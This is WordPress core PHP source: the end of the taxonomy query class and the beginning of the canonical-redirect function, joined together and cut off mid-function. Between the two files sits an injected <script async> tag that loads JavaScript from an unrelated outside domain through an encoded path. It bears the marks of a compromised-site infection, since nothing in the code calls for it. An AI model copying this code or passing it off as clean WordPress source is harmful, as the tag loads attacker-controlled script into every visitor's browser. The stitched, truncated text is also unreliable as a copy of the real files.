	 *                                                 'name', or 'term_taxonomy_id'. Default: 'term_id'.
	 *         @type string           $operator         MySQL operator to be used with $terms in the WHERE clause.
	 *                                                  Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'.
	 *                                                  Default: 'IN'.
	 *         @type bool             $include_children Optional. Whether to include child terms.
	 *                                                  Requires a $taxonomy. Default: true.
	 *     }
	 * }
	 */
	public function __construct( $tax_query ) {
		if ( isset( $tax_query['relation'] ) ) {
			$this->relation = $this->sanitize_relation( $tax_query['relation'] );
		} else {
			$this->relation = 'AND';
		}

		$this->queries = $this->sanitize_query( $tax_query );
	}

	/**
	 * Ensures the 'tax_query' argument passed to the class constructor is well-formed.
	 *
	 * Ensures that each query-level clause has a 'relation' key, and that
	 * each first-order clause contains all the necessary keys from `$defaults`.
	 *
	 * @since 4.1.0
	 *
	 * @param array $queries Array of queries clauses.
	 * @return array Sanitized array of query clauses.
	 */
	public function sanitize_query( $queries ) {
		$cleaned_query = array();

		$defaults = array(
			'taxonomy'         => '',
			'terms'            => array(),
			'field'            => 'term_id',
			'operator'         => 'IN',
			'include_children' => true,
		);

		foreach ( $queries as $key => $query ) {
			if ( 'relation' === $key ) {
				$cleaned_query['relation'] = $this->sanitize_relation( $query );

				// First-order clause.
			} elseif ( self::is_first_order_clause( $query ) ) {

				$cleaned_clause          = array_merge( $defaults, $query );
				$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
				$cleaned_query[]         = $cleaned_clause;

				/*
				 * Keep a copy of the clause in the flate
				 * $queried_terms array, for use in WP_Query.
				 */
				if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
					$taxonomy = $cleaned_clause['taxonomy'];
					if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
						$this->queried_terms[ $taxonomy ] = array();
					}

					/*
					 * Backward compatibility: Only store the first
					 * 'terms' and 'field' found for a given taxonomy.
					 */
					if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
						$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
					}

					if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
						$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
					}
				}

				// Otherwise, it's a nested query, so we recurse.
			} elseif ( is_array( $query ) ) {
				$cleaned_subquery = $this->sanitize_query( $query );

				if ( ! empty( $cleaned_subquery ) ) {
					// All queries with children must have a relation.
					if ( ! isset( $cleaned_subquery['relation'] ) ) {
						$cleaned_subquery['relation'] = 'AND';
					}

					$cleaned_query[] = $cleaned_subquery;
				}
			}
		}

		return $cleaned_query;
	}

	/**
	 * Sanitizes a 'relation' operator.
	 *
	 * @since 4.1.0
	 *
	 * @param string $relation Raw relation key from the query argument.
	 * @return string Sanitized relation. Either 'AND' or 'OR'.
	 */
	public function sanitize_relation( $relation ) {
		if ( 'OR' === strtoupper( $relation ) ) {
			return 'OR';
		} else {
			return 'AND';
		}
	}

	/**
	 * Determines whether a clause is first-order.
	 *
	 * A "first-order" clause is one that contains any of the first-order
	 * clause keys ('terms', 'taxonomy', 'include_children', 'field',
	 * 'operator'). An empty clause also counts as a first-order clause,
	 * for backward compatibility. Any clause that doesn't meet this is
	 * determined, by process of elimination, to be a higher-order query.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Tax query arguments.
	 * @return bool Whether the query clause is a first-order clause.
	 */
	protected static function is_first_order_clause( $query ) {
		return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * @since 3.1.0
	 *
	 * @param string $primary_table     Database table where the object being filtered is stored (eg wp_users).
	 * @param string $primary_id_column ID column for the filtered object in $primary_table.
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	public function get_sql( $primary_table, $primary_id_column ) {
		$this->primary_table     = $primary_table;
		$this->primary_id_column = $primary_id_column;

		return $this->get_sql_clauses();
	}

	/**
	 * Generates SQL clauses to be appended to a main query.
	 *
	 * Called by the public WP_Tax_Query::get_sql(), this method
	 * is abstracted out to maintain parity with the other Query classes.
	 *
	 * @since 4.1.0
	 *
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to the main query.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_clauses() {
		/*
		 * $queries are passed by reference to get_sql_for_query() for recursion.
		 * To keep $this->queries unaltered, pass a copy.
		 */
		$queries = $this->queries;
		$sql     = $this->get_sql_for_query( $queries );

		if ( ! empty( $sql['where'] ) ) {
			$sql['where'] = ' AND ' . $sql['where'];
		}

		return $sql;
	}

	/**
	 * Generates SQL clauses for a single query array.
	 *
	 * If nested subqueries are found, this method recurses the tree to
	 * produce the properly nested SQL.
	 *
	 * @since 4.1.0
	 *
	 * @param array $query Query to parse (passed by reference).
	 * @param int   $depth Optional. Number of tree levels deep we currently are.
	 *                     Used to calculate indentation. Default 0.
	 * @return string[] {
	 *     Array containing JOIN and WHERE SQL clauses to append to a single query array.
	 *
	 *     @type string $join  SQL fragment to append to the main JOIN clause.
	 *     @type string $where SQL fragment to append to the main WHERE clause.
	 * }
	 */
	protected function get_sql_for_query( &$query, $depth = 0 ) {
		$sql_chunks = array(
			'join'  => array(),
			'where' => array(),
		);

		$sql = array(
			'join'  => '',
			'where' => '',
		);

		$indent = '';
		for ( $i = 0; $i < $depth; $i++ ) {
			$indent .= '  ';
		}

		foreach ( $query as $key => &$clause ) {
			if ( 'relation' === $key ) {
				$relation = $query['relation'];
			} elseif ( is_array( $clause ) ) {

				// This is a first-order clause.
				if ( $this->is_first_order_clause( $clause ) ) {
					$clause_sql = $this->get_sql_for_clause( $clause, $query );

					$where_count = count( $clause_sql['where'] );
					if ( ! $where_count ) {
						$sql_chunks['where'][] = '';
					} elseif ( 1 === $where_count ) {
						$sql_chunks['where'][] = $clause_sql['where'][0];
					} else {
						$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
					}

					$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
					// This is a subquery, so we recurse.
				} else {
					$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );

					$sql_chunks['where'][] = $clause_sql['where'];
					$sql_chunks['join'][]  = $clause_sql['join'];
				}
			}
		}

		// Filter to remove empties.
		$sql_chunks['join']  = array_filter( $sql_chunks['join'] );
		$sql_chunks['where'] = array_filter( $sql_chunks['where'] );

		if ( empty( $relation ) ) {
			$relation = 'AND';
		}

		// Filter duplicate JOIN clauses and combine into a single string.
		if ( ! empty( $sql_chunks['join'] ) ) {
			$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
		}

		// Generate a single WHERE clause with proper brackets and indentation.
		if ( ! empty( $sql_chunks['where'] ) ) {
			$sql['where'] = '( ' . "\n  " . $indent . implode( ' ' . "\n  " . $indent . $relation . ' ' . "\n  " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
		}

		return $sql;
	}

	/**
	 * Generates SQL JOIN and WHERE clauses for a "first-order" query clause.
	 *
	 * @since 4.1.0
	 *
	 * @global wpdb $wpdb The WordPress database abstraction object.
	 *
	 * @param array $clause       Query clause (passed by reference).
	 * @param array $parent_query Parent query array.
	 * @return array {
	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
	 *
	 *     @type string[] $join  Array of SQL fragments to append to the main JOIN clause.
	 *     @type string[] $where Array of SQL fragments to append to the main WHERE clause.
	 * }
	 */
	public function get_sql_for_clause( &$clause, $parent_query ) {
		global $wpdb;

		$sql = array(
			'where' => array(),
			'join'  => array(),
		);

		$join  = '';
		$where = '';

		$this->clean_query( $clause );

		if ( is_wp_error( $clause ) ) {
			return self::$no_results;
		}

		$terms    = $clause['terms'];
		$operator = strtoupper( $clause['operator'] );

		if ( 'IN' === $operator ) {

			if ( empty( $terms ) ) {
				return self::$no_results;
			}

			$terms = implode( ',', $terms );

			/*
			 * Before creating another table join, see if this clause has a
			 * sibling with an existing join that can be shared.
			 */
			$alias = $this->find_compatible_table_alias( $clause, $parent_query );
			if ( false === $alias ) {
				$i     = count( $this->table_aliases );
				$alias = $i ? 'tt' . $i : $wpdb->term_relationships;

				// Store the alias as part of a flat array to build future iterators.
				$this->table_aliases[] = $alias;

				// Store the alias with this clause, so later siblings can use it.
				$clause['alias'] = $alias;

				$join .= " LEFT JOIN $wpdb->term_relationships";
				$join .= $i ? " AS $alias" : '';
				$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
			}

			$where = "$alias.term_taxonomy_id $operator ($terms)";

		} elseif ( 'NOT IN' === $operator ) {

			if ( empty( $terms ) ) {
				return $sql;
			}

			$terms = implode( ',', $terms );

			$where = "$this->primary_table.$this->primary_id_column NOT IN (
				SELECT object_id
				FROM $wpdb->term_relationships
				WHERE term_taxonomy_id IN ($terms)
			)";

		} elseif ( 'AND' === $operator ) {

			if ( empty( $terms ) ) {
				return $sql;
			}

			$num_terms = count( $terms );

			$terms = implode( ',', $terms );

			$where = "(
				SELECT COUNT(1)
				FROM $wpdb->term_relationships
				WHERE term_taxonomy_id IN ($terms)
				AND object_id = $this->primary_table.$this->primary_id_column
			) = $num_terms";

		} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {

			$where = $wpdb->prepare(
				"$operator (
					SELECT 1
					FROM $wpdb->term_relationships
					INNER JOIN $wpdb->term_taxonomy
					ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
					WHERE $wpdb->term_taxonomy.taxonomy = %s
					AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
				)",
				$clause['taxonomy']
			);

		}

		$sql['join'][]  = $join;
		$sql['where'][] = $where;
		return $sql;
	}

	/**
	 * Identifies an existing table alias that is compatible with the current query clause.
	 *
	 * We avoid unnecessary table joins by allowing each clause to look for
	 * an existing table alias that is compatible with the query that it
	 * needs to perform.
	 *
	 * An existing alias is compatible if (a) it is a sibling of `$clause`
	 * (ie, it's under the scope of the same relation), and (b) the combination
	 * of operator and relation between the clauses allows for a shared table
	 * join. In the case of WP_Tax_Query, this only applies to 'IN'
	 * clauses that are connected by the relation 'OR'.
	 *
	 * @since 4.1.0
	 *
	 * @param array $clause       Query clause.
	 * @param array $parent_query Parent query of $clause.
	 * @return string|false Table alias if found, otherwise false.
	 */
	protected function find_compatible_table_alias( $clause, $parent_query ) {
		$alias = false;

		// Confidence check. Only IN queries use the JOIN syntax.
		if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) {
			return $alias;
		}

		// Since we're only checking IN queries, we're only concerned with OR relations.
		if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) {
			return $alias;
		}

		$compatible_operators = array( 'IN' );

		foreach ( $parent_query as $sibling ) {
			if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
				continue;
			}

			if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) {
				continue;
			}

			// The sibling must both have compatible operator to share its alias.
			if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) {
				$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
				break;
			}
		}

		return $alias;
	}

	/**
	 * Validates a single query.
	 *
	 * @since 3.2.0
	 *
	 * @param array $query The single query. Passed by reference.
	 */
	private function clean_query( &$query ) {
		if ( empty( $query['taxonomy'] ) ) {
			if ( 'term_taxonomy_id' !== $query['field'] ) {
				$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
				return;
			}

			// So long as there are shared terms, 'include_children' requires that a taxonomy is set.
			$query['include_children'] = false;
		} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
			$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
			return;
		}

		if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
			$query['terms'] = array_unique( (array) $query['terms'] );
		} else {
			$query['terms'] = wp_parse_id_list( $query['terms'] );
		}

		if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
			$this->transform_query( $query, 'term_id' );

			if ( is_wp_error( $query ) ) {
				return;
			}

			$children = array();
			foreach ( $query['terms'] as $term ) {
				$children   = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
				$children[] = $term;
			}
			$query['terms'] = $children;
		}

		$this->transform_query( $query, 'term_taxonomy_id' );
	}

	/**
	 * Transforms a single query, from one field to another.
	 *
	 * Operates on the `$query` object by reference. In the case of error,
	 * `$query` is converted to a WP_Error object.
	 *
	 * @since 3.2.0
	 *
	 * @param array  $query           The single query. Passed by reference.
	 * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id',
	 *                                or 'term_id'. Default 'term_id'.
	 */
	public function transform_query( &$query, $resulting_field ) {
		if ( empty( $query['terms'] ) ) {
			return;
		}

		if ( $query['field'] === $resulting_field ) {
			return;
		}

		$resulting_field = sanitize_key( $resulting_field );

		// Empty 'terms' always results in a null transformation.
		$terms = array_filter( $query['terms'] );
		if ( empty( $terms ) ) {
			$query['terms'] = array();
			$query['field'] = $resulting_field;
			return;
		}

		$args = array(
			'get'                    => 'all',
			'number'                 => 0,
			'taxonomy'               => $query['taxonomy'],
			'update_term_meta_cache' => false,
			'orderby'                => 'none',
		);

		// Term query parameter name depends on the 'field' being searched on.
		switch ( $query['field'] ) {
			case 'slug':
				$args['slug'] = $terms;
				break;
			case 'name':
				$args['name'] = $terms;
				break;
			case 'term_taxonomy_id':
				$args['term_taxonomy_id'] = $terms;
				break;
			default:
				$args['include'] = wp_parse_id_list( $terms );
				break;
		}

		if ( ! is_taxonomy_hierarchical( $query['taxonomy'] ) ) {
			$args['number'] = count( $terms );
		}

		$term_query = new WP_Term_Query();
		$term_list  = $term_query->query( $args );

		if ( is_wp_error( $term_list ) ) {
			$query = $term_list;
			return;
		}

		if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) {
			$query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) );
			return;
		}

		$query['terms'] = wp_list_pluck( $term_list, $resulting_field );
		$query['field'] = $resulting_field;
	}
}
<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>
/**
 * Canonical API to handle WordPress Redirecting
 *
 * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
 * by Mark Jaquith
 *
 * @package WordPress
 * @since 2.3.0
 */

/**
 * Redirects incoming links to the proper URL based on the site url.
 *
 * Search engines consider www.somedomain.com and somedomain.com to be two
 * different URLs when they both go to the same location. This SEO enhancement
 * prevents penalty for duplicate content by redirecting all incoming links to
 * one or the other.
 *
 * Prevents redirection for feeds, trackbacks, searches, and
 * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
 * page/post previews, WP admin, Trackbacks, robots.txt, favicon.ico, searches,
 * or on POST requests.
 *
 * Will also attempt to find the correct link when a user enters a URL that does
 * not exist based on exact WordPress query. Will instead try to parse the URL
 * or query in an attempt to figure the correct page to go to.
 *
 * @since 2.3.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global bool       $is_IIS
 * @global WP_Query   $wp_query   WordPress Query object.
 * @global wpdb       $wpdb       WordPress database abstraction object.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $requested_url Optional. The URL that was requested, used to
 *                              figure if redirect is needed.
 * @param bool   $do_redirect   Optional. Redirect to the new URL.
 * @return string|void The string of the URL, if redirect needed.
 */
function redirect_canonical( $requested_url = null, $do_redirect = true ) {
	global $wp_rewrite, $is_IIS, $wp_query, $wpdb, $wp;

	if ( isset( $_SERVER['REQUEST_METHOD'] ) && ! in_array( strtoupper( $_SERVER['REQUEST_METHOD'] ), array( 'GET', 'HEAD' ), true ) ) {
		return;
	}

	/*
	 * If we're not in wp-admin and the post has been published and preview nonce
	 * is non-existent or invalid then no need for preview in query.
	 */
	if ( is_preview() && get_query_var( 'p' ) && 'publish' === get_post_status( get_query_var( 'p' ) ) ) {
		if ( ! isset( $_GET['preview_id'] )
			|| ! isset( $_GET['preview_nonce'] )
			|| ! wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . (int) $_GET['preview_id'] )
		) {
			$wp_query->is_preview = false;
		}
	}

	if ( is_admin() || is_search() || is_preview() || is_trackback() || is_favicon()
		|| ( $is_IIS && ! iis7_supports_permalinks() )
	) {
		return;
	}

	if ( ! $requested_url && isset( $_SERVER['HTTP_HOST'] ) ) {
		// Build the URL in the address bar.
		$requested_url  = is_ssl() ? 'https://' : 'http://';
		$requested_url .= $_SERVER['HTTP_HOST'];
		$requested_url .= $_SERVER['REQUEST_URI'];
	}

	$original = parse_url( $requested_url );
	if ( false === $original ) {
		return;
	}

	$redirect     = $original;
	$redirect_url = false;
	$redirect_obj = false;

	// Notice fixing.
	if ( ! isset( $redirect['path'] ) ) {
		$redirect['path'] = '';
	}
	if ( ! isset( $redirect['query'] ) ) {
		$redirect['query'] = '';
	}

	/*
	 * If the original URL ended with non-breaking spaces, they were almost
	 * certainly inserted by accident. Let's remove them, so the reader doesn't
	 * see a 404 error with no obvious cause.
	 */
	$redirect['path'] = preg_replace( '|(%C2%A0)+$|i', '', $redirect['path'] );

	// It's not a preview, so remove it from URL.
	if ( get_query_var( 'preview' ) ) {
		$redirect['query'] = remove_query_arg( 'preview', $redirect['query'] );
	}

	$post_id = get_query_var( 'p' );

	if ( is_feed() && $post_id ) {
		$redirect_url = get_post_comments_feed_link( $post_id, get_query_var( 'feed' ) );
		$redirect_obj = get_post( $post_id );

		if ( $redirect_url ) {
			$redirect['query'] = _remove_qs_args_if_not_in_url(
				$redirect['query'],
				array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed' ),
				$redirect_url
			);

			$redirect['path'] = parse_url( $redirect_url, PHP_URL_PATH );
		}
	}

	if ( is_singular() && $wp_query->post_count < 1 && $post_id ) {

		$vars = $wpdb->get_results( $wpdb->prepare( "SELECT post_type, post_parent FROM $wpdb->posts WHERE ID = %d", $post_id ) );

		if ( ! empty( $vars[0] ) ) {
			$vars = $vars[0];

			if ( 'revision' === $vars->post_type && $vars->post_parent > 0 ) {
				$post_id = $vars->post_parent;
			}

			$redirect_url = get_permalink( $post_id );
			$redirect_obj = get_post( $post_id );

			if ( $redirect_url ) {
				$redirect['query'] = _remove_qs_args_if_not_in_url(
					$redirect['query'],
					array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ),
					$redirect_url
				);
			}
		}
	}

	// These tests give us a WP-generated permalink.
	if ( is_404() ) {

		// Redirect ?page_id, ?p=, ?attachment_id= to their respective URLs.
		$post_id = max( get_query_var( 'p' ), get_query_var( 'page_id' ), get_query_var( 'attachment_id' ) );

		$redirect_post = $post_id ? get_post( $post_id ) : false;

		if ( $redirect_post ) {
			$post_type_obj = get_post_type_object( $redirect_post->post_type );

			if ( $post_type_obj && $post_type_obj->public && 'auto-draft' !== $redirect_post->post_status ) {
				$redirect_url = get_permalink( $redirect_post );
				$redirect_obj = get_post( $redirect_post );

				$redirect['query'] = _remove_qs_args_if_not_in_url(
					$redirect['query'],
					array( 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ),
					$redirect_url
				);
			}
		}

		$year  = get_query_var( 'year' );
		$month = get_query_var( 'monthnum' );
		$day   = get_query_var( 'day' );

		if ( $year && $month && $day ) {
			$date = sprintf( '%04d-%02d-%02d', $year, $month, $day );

			if ( ! wp_checkdate( $month, $day, $year, $date ) ) {
				$redirect_url = get_month_link( $year, $month );

				$redirect['query'] = _remove_qs_args_if_not_in_url(
					$redirect['query'],
					array( 'year', 'monthnum', 'day' ),
					$redirect_url
				);
			}
		} elseif ( $year && $month && $month > 12 ) {
			$redirect_url = get_year_link( $year );

			$redirect['query'] = _remove_qs_args_if_not_in_url(
				$redirect['query'],
				array( 'year', 'monthnum' ),
				$redirect_url
			);
		}

		// Strip off non-existing <!--nextpage--> links from single posts or pages.
		if ( get_query_var( 'page' ) ) {
			$post_id = 0;

			if ( $wp_query->queried_object instanceof WP_Post ) {
				$post_id = $wp_query->queried_object->ID;
			} elseif ( $wp_query->post ) {
				$post_id = $wp_query->post->ID;
			}

			if ( $post_id ) {
				$redirect_url = get_permalink( $post_id );
				$redirect_obj = get_post( $post_id );

				$redirect['path']  = rtrim( $redirect['path'], (int) get_query_var( 'page' ) . '/' );
				$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
			}
		}

		if ( ! $redirect_url ) {
			$redirect_url = redirect_guess_404_permalink();

			if ( $redirect_url ) {
				$redirect['query'] = _remove_qs_args_if_not_in_url(
					$redirect['query'],
					array( 'page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type' ),
					$redirect_url
				);
			}
		}
	} elseif ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) {

		// Rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101.
		if ( is_attachment()
			&& ! array_diff( array_keys( $wp->query_vars ), array( 'attachment', 'attachment_id' ) )
			&& ! $redirect_url
		) {
			if ( ! empty( $_GET['attachment_id'] ) ) {
				$redirect_url = get_attachment_link( get_query_var( 'attachment_id' ) );
				$redirect_obj = get_post( get_query_var( 'attachment_id' ) );

				if ( $redirect_url ) {
					$redirect['query'] = remove_query_arg( 'attachment_id', $redirect['query'] );
				}
			} else {
				$redirect_url = get_attachment_link();
				$redirect_obj = get_post();
			}
		} elseif ( is_single() && ! empty( $_GET['p'] ) && ! $redirect_url ) {
			$redirect_url = get_permalink( get_query_var( 'p' ) );
			$redirect_obj = get_post( get_query_var( 'p' ) );

			if ( $redirect_url ) {
				$redirect['query'] = remove_query_arg( array( 'p', 'post_type' ), $redirect['query'] );
			}
		} elseif ( is_single() && ! empty( $_GET['name'] ) && ! $redirect_url ) {
			$redirect_url = get_permalink( $wp_query->get_queried_object_id() );
			$redirect_obj = get_post( $wp_query->get_queried_object_id() );

			if ( $redirect_url ) {
				$redirect['query'] = remove_query_arg( 'name', $redirect['query'] );
			}
		} elseif ( is_page() && ! empty( $_GET['page_id'] ) && ! $redirect_url ) {
			$redirect_url = get_permalink( get_query_var( 'page_id' ) );
			$redirect_obj = get_post( get_query_var( 'page_id' ) );

			if ( $redirect_url ) {
				$redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] );
			}
		} elseif ( is_page() && ! is_feed() && ! $redirect_url
			&& 'page' === get_option( 'show_on_front' ) && get_queried_object_id() === (int) get_option( 'page_on_front' )
		) {
			$redirect_url = home_url( '/' );
		} elseif ( is_home() && ! empty( $_GET['page_id'] ) && ! $redirect_url
			&& 'page' === get_option( 'show_on_front' ) && get_query_var( 'page_id' ) === (int) get_option( 'page_for_posts' )
		) {
			$redirect_url = get_permalink( get_option( 'page_for_posts' ) );
			$redirect_obj = get_post( get_option( 'page_for_posts' ) );

			if ( $redirect_url ) {
				$redirect['query'] = remove_query_arg( 'page_id', $redirect['query'] );
			}
		} elseif ( ! empty( $_GET['m'] ) && ( is_year() || is_month() || is_day() ) ) {
			$m = get_query_var( 'm' );

			switch ( strlen( $m ) ) {
				case 4: // Yearly.
					$redirect_url = get_year_link( $m );
					break;
				case 6: // Monthly.
					$redirect_url = get_month_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ) );
					break;
				case 8: // Daily.
					$redirect_url = get_day_link( substr( $m, 0, 4 ), substr( $m, 4, 2 ), substr( $m, 6, 2 ) );
					break;
			}

			if ( $redirect_url ) {
				$redirect['query'] = remove_query_arg( 'm', $redirect['query'] );
			}
			// Now moving on to non ?m=X year/month/day links.
		} elseif ( is_date() ) {
			$year  = get_query_var( 'year' );
			$month = get_query_var( 'monthnum' );
			$day   = get_query_var( 'day' );

			if ( is_day() && $year && $month && ! empty( $_GET['day'] ) ) {
				$redirect_url = get_day_link( $year, $month, $day );

				if ( $redirect_url ) {
					$redirect['query'] = remove_query_arg( array( 'year', 'monthnum', 'day' ), $redirect['query'] );
				}
			} elseif ( is_month() && $year && ! empty( $_GET['monthnum'] ) ) {
				$redirect_url = get_month_link( $year, $month );

				if ( $redirect_url ) {
					$redirect['query'] = remove_query_arg( array( 'year', 'monthnum' ), $redirect['query'] );
				}
			} elseif ( is_year() && ! empty( $_GET['year'] ) ) {
				$redirect_url = get_year_link( $year );

				if ( $redirect_url ) {
					$redirect['query'] = remove_query_arg( 'year', $redirect['query'] );
				}
			}
		} elseif ( is_author() && ! empty( $_GET['author'] )
			&& is_string( $_GET['author'] ) && preg_match( '|^[0-9]+$|', $_GET['author'] )
		) {
			$author = get_userdata( get_query_var( 'author' ) );

			if ( false !== $author
				&& $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE $wpdb->posts.post_author = %d AND $wpdb->posts.post_status = 'publish' LIMIT 1", $author->ID ) )
			) {
				$redirect_url = get_author_posts_url( $author->ID, $author->user_nicename );
				$redirect_obj = $author;

				if ( $redirect_url ) {
					$redirect['query'] = remove_query_arg( 'author', $redirect['query'] );
				}
			}
		} elseif ( is_category() || is_tag() || is_tax() ) { // Terms (tags/categories).
			$term_count = 0;

			foreach ( $wp_query->tax_query->queried_terms as $tax_query ) {
				if ( isset( $tax_query['terms'] ) && is_countable( $tax_query['terms'] ) ) {
					$term_count += count( $tax_query['terms'] );
				}
			}

			$obj = $wp_query->get_queried_object();

			if ( $term_count <= 1 && ! empty( $obj->term_id ) ) {
				$tax_url = get_term_link( (int) $obj->term_id, $obj->taxonomy );

				if ( $tax_url && ! is_wp_error( $tax_url ) ) {
					if ( ! empty( $redirect['query'] ) ) {
						// Strip taxonomy query vars off the URL.
						$qv_remove = array( 'term', 'taxonomy' );

						if ( is_category() ) {
							$qv_remove[] = 'category_name';
							$qv_remove[] = 'cat';
						} elseif ( is_tag() ) {
							$qv_remove[] = 'tag';
							$qv_remove[] = 'tag_id';
						} else {
							// Custom taxonomies will have a custom query var, remove those too.
							$tax_obj = get_taxonomy( $obj->taxonomy );
							if ( false !== $tax_obj->query_var ) {
								$qv_remove[] = $tax_obj->query_var;
							}
						}

						$rewrite_vars = array_diff( array_keys( $wp_query->query ), array_keys( $_GET ) );

						// Check to see if all the query vars are coming from the rewrite, none are set via $_GET.
						if ( ! array_diff( $rewrite_vars, array_keys( $_GET ) ) ) {
							// Remove all of the per-tax query vars.
							$redirect['query'] = remove_query_arg( $qv_remove, $redirect['query'] );

							// Create the destination URL for this taxonomy.
							$tax_url = parse_url( $tax_url );

							if ( ! empty( $tax_url['query'] ) ) {
								// Taxonomy accessible via ?taxonomy=...&term=... or any custom query var.
								parse_str( $tax_url['query'], $query_vars );
								$redirect['query'] = add_query_arg( $query_vars, $redirect['query'] );
							} else {
								// Taxonomy is accessible via a "pretty URL".
								$redirect['path'] = $tax_url['path'];
							}
						} else {
							// Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite.
							foreach ( $qv_remove as $_qv ) {
								if ( isset( $rewrite_vars[ $_qv ] ) ) {
									$redirect['query'] = remove_query_arg( $_qv, $redirect['query'] );
								}
							}
						}
					}
				}
			}
		} elseif ( is_single() && str_contains( $wp_rewrite->permalink_structure, '%category%' ) ) {
			$category_name = get_query_var( 'category_name' );

			if ( $category_name ) {
				$category = get_category_by_path( $category_name );

				if ( ! $category || is_wp_error( $category )
					|| ! has_term( $category->term_id, 'category', $wp_query->get_queried_object_id() )
				) {
					$redirect_url = get_permalink( $wp_query->get_queried_object_id() );
					$redirect_obj = get_post( $wp_query->get_queried_object_id() );
				}
			}
		}

		// Post paging.
		if ( is_singular() && get_query_var( 'page' ) ) {
			$page = get_query_var( 'page' );

			if ( ! $redirect_url ) {
				$redirect_url = get_permalink( get_queried_object_id() );
				$redirect_obj = get_post( get_queried_object_id() );
			}

			if ( $page > 1 ) {
				$redirect_url = trailingslashit( $redirect_url );

				if ( is_front_page() ) {
					$redirect_url .= user_trailingslashit( "$wp_rewrite->pagination_base/$page", 'paged' );
				} else {
					$redirect_url .= user_trailingslashit( $page, 'single_paged' );
				}
			}

			$redirect['query'] = remove_query_arg( 'page', $redirect['query'] );
		}

		if ( get_query_var( 'sitemap' ) ) {
			$redirect_url      = get_sitemap_url( get_query_var( 'sitemap' ), get_query_var( 'sitemap-subtype' ), get_query_var( 'paged' ) );
			$redirect['query'] = remove_query_arg( array( 'sitemap', 'sitemap-subtype', 'paged' ), $redirect['query'] );
		} elseif ( get_query_var( 'paged' ) || is_feed() || get_query_var( 'cpage' ) ) {
			// Paging and feeds.
			$paged = get_query_var( 'paged' );
			$feed  = get_query_var( 'feed' );
			$cpage = get_query_var( 'cpage' );

			while ( preg_match( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", $redirect['path'] )
				|| preg_match( '#/(comments/?)?(feed|rss2?|rdf|atom)(/+)?$#', $redirect['path'] )
				|| preg_match( "#/{$wp_rewrite->comments_pagination_base}-[0-9]+(/+)?$#", $redirect['path'] )
			) {
				// Strip off any existing paging.
				$redirect['path'] = preg_replace( "#/$wp_rewrite->pagination_base/?[0-9]+?(/+)?$#", '/', $redirect['path'] );
				// Strip off feed endings.
